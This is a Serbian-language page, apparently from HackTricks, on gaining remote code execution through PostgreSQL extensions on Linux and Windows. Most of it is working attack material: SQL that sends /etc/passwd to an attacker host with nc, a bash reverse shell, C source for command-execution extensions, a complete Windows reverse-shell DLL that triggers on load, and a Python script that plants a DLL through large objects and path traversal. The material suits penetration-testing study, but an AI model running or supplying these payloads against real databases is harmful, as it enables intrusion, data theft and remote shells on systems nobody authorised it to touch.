RCE with PostgreSQL Extensions

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

PostgreSQL Ekstenzije

PostgreSQL je razvijen sa mogućnošću proširivosti kao osnovnom karakteristikom, omogućavajući mu da bez problema integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, suštinski biblioteke napisane u C-u, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.

Od verzije 8.1 nadalje, postoji specifičan zahtev za ekstenzijske biblioteke: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, obezbeđujući korišćenje samo kompatibilnih i potencijalno bezbednih ekstenzija.

Takođe, imajte na umu da ako ne znate kako da otpremite fajlove na žrtvu zloupotrebom PostgreSQL-a, trebali biste pročitati ovaj post.

RCE na Linux-u

Za više informacija pogledajte: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Izvršavanje sistemskih komandi iz PostgreSQL-a verzije 8.1 i starijih je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovaj: Metasploit modul.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Upisivanje binarnog fajla iz base64

Da biste upisali binarni fajl u postgresu, možda ćete morati koristiti base64, ovo će biti korisno za tu svrhu:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Međutim, kada je pokušano na većim verzijama, prikazana je sledeća greška:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Ova greška je objašnjena u PostgreSQL dokumentaciji:

Da bi se osiguralo da se dinamički učitani objektni fajl ne učita u nekompatibilni server, PostgreSQL proverava da li fajl sadrži "magic block" sa odgovarajućim sadržajem. Ovo omogućava serveru da otkrije očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magic block je obavezan od PostgreSQL verzije 8.2. Da biste uključili magic block, napišite ovo u jednom (i samo jednom) od izvornih fajlova modula, nakon što ste uključili zaglavlje fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Od verzije PostgreSQL-a 8.2, proces za napadača da iskoristi sistem je postao izazovniji. Napadač mora ili koristiti biblioteku koja već postoji na sistemu ili otpremiti prilagođenu biblioteku. Ova prilagođena biblioteka mora biti kompajlirana protiv kompatibilne glavne verzije PostgreSQL-a i mora sadržati određeni "magic block". Ova mera značajno povećava težinu iskorišćavanja PostgreSQL sistema, jer zahteva dublje razumevanje arhitekture sistema i kompatibilnosti verzija.

Kompajliranje biblioteke

Dobijte verziju PostgreSQL-a sa:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Za kompatibilnost je važno da se glavne verzije poklapaju. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar serije 9.6.x trebalo bi osigurati uspešnu integraciju.

Da biste instalirali tu verziju na svom sistemu:

apt install postgresql postgresql-server-dev-9.6

I kompajlirajte biblioteku:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Zatim otpremite kompajliranu biblioteku i izvršite komande sa:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Možete pronaći ovu biblioteku prekompajliranu za nekoliko različitih verzija PostgreSQL-a, a čak možete i automatizovati ovaj proces (ako imate pristup PostgreSQL-u) sa:

RCE na Windows-u

Sledeća DLL datoteka uzima kao ulaz ime binarne datoteke i broj puta koje želite da je izvršite i izvršava je:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Možete pronaći DLL kompajliran u ovom zipu:

Možete naznačiti ovom DLL-u koju binarnu datoteku da izvrši i koliko puta da je izvrši, u ovom primeru će izvršiti calc.exe 2 puta:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

U ovde možete pronaći ovaj reverzni shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Obratite pažnju kako je u ovom slučaju zlonamjeran kod unutar funkcije DllMain. To znači da u ovom slučaju nije potrebno izvršiti učitanu funkciju u postgresql-u, samo učitavanje DLL-a će izvršiti obrnutu ljusku:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE u najnovijim verzijama Postgresa

U najnovijim verzijama PostgreSQL-a, uvedena su ograničenja koja onemogućavaju superuser-u da učitava deljene biblioteke izuzev iz određenih direktorijuma, kao što su C:\Program Files\PostgreSQL\11\lib na Windowsu ili /var/lib/postgresql/11/lib na *nix sistemima. Ovi direktorijumi su zaštićeni od operacija pisanja od strane korisnika NETWORK_SERVICE ili postgres.

Uprkos ovim ograničenjima, moguće je da autentifikovani superuser baze podataka piše binarne fajlove na fajl sistem koristeći "large objects". Ova mogućnost se proširuje na pisanje unutar direktorijuma C:\Program Files\PostgreSQL\11\data, što je neophodno za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.

Značajna ranjivost nastaje iz komande CREATE FUNCTION, koja omogućava prolazak kroz direktorijume do data direktorijuma. Kao rezultat toga, autentifikovani napadač može iskoristiti ovaj prolazak da bi napisao deljenu biblioteku u data direktorijum, a zatim je učitao. Ovaj napad omogućava napadaču izvršavanje proizvoljnog koda, postižući izvršavanje izvornog koda na sistemu.

Tok napada

Prvo, morate koristiti large objects za otpremanje dll fajla. Možete videti kako to uraditi ovde:

pageBig Binary Files Upload (PostgreSQL)

Nakon što ste otpremili ekstenziju (sa nazivom poc.dll za ovaj primer) u data direktorijum, možete je učitati sa:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Napomena da ne morate dodavati ekstenziju .dll jer će funkcija za kreiranje dodati sama.

Za više informacija pročitajte originalnu publikaciju ovde. U toj publikaciji ovo je bio kod koji se koristi za generisanje postgres ekstenzije (za naučiti kako kompajlirati postgres ekstenziju pročitajte neku od prethodnih verzija). Na istoj stranici je dat exploit za automatizaciju ove tehnike:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated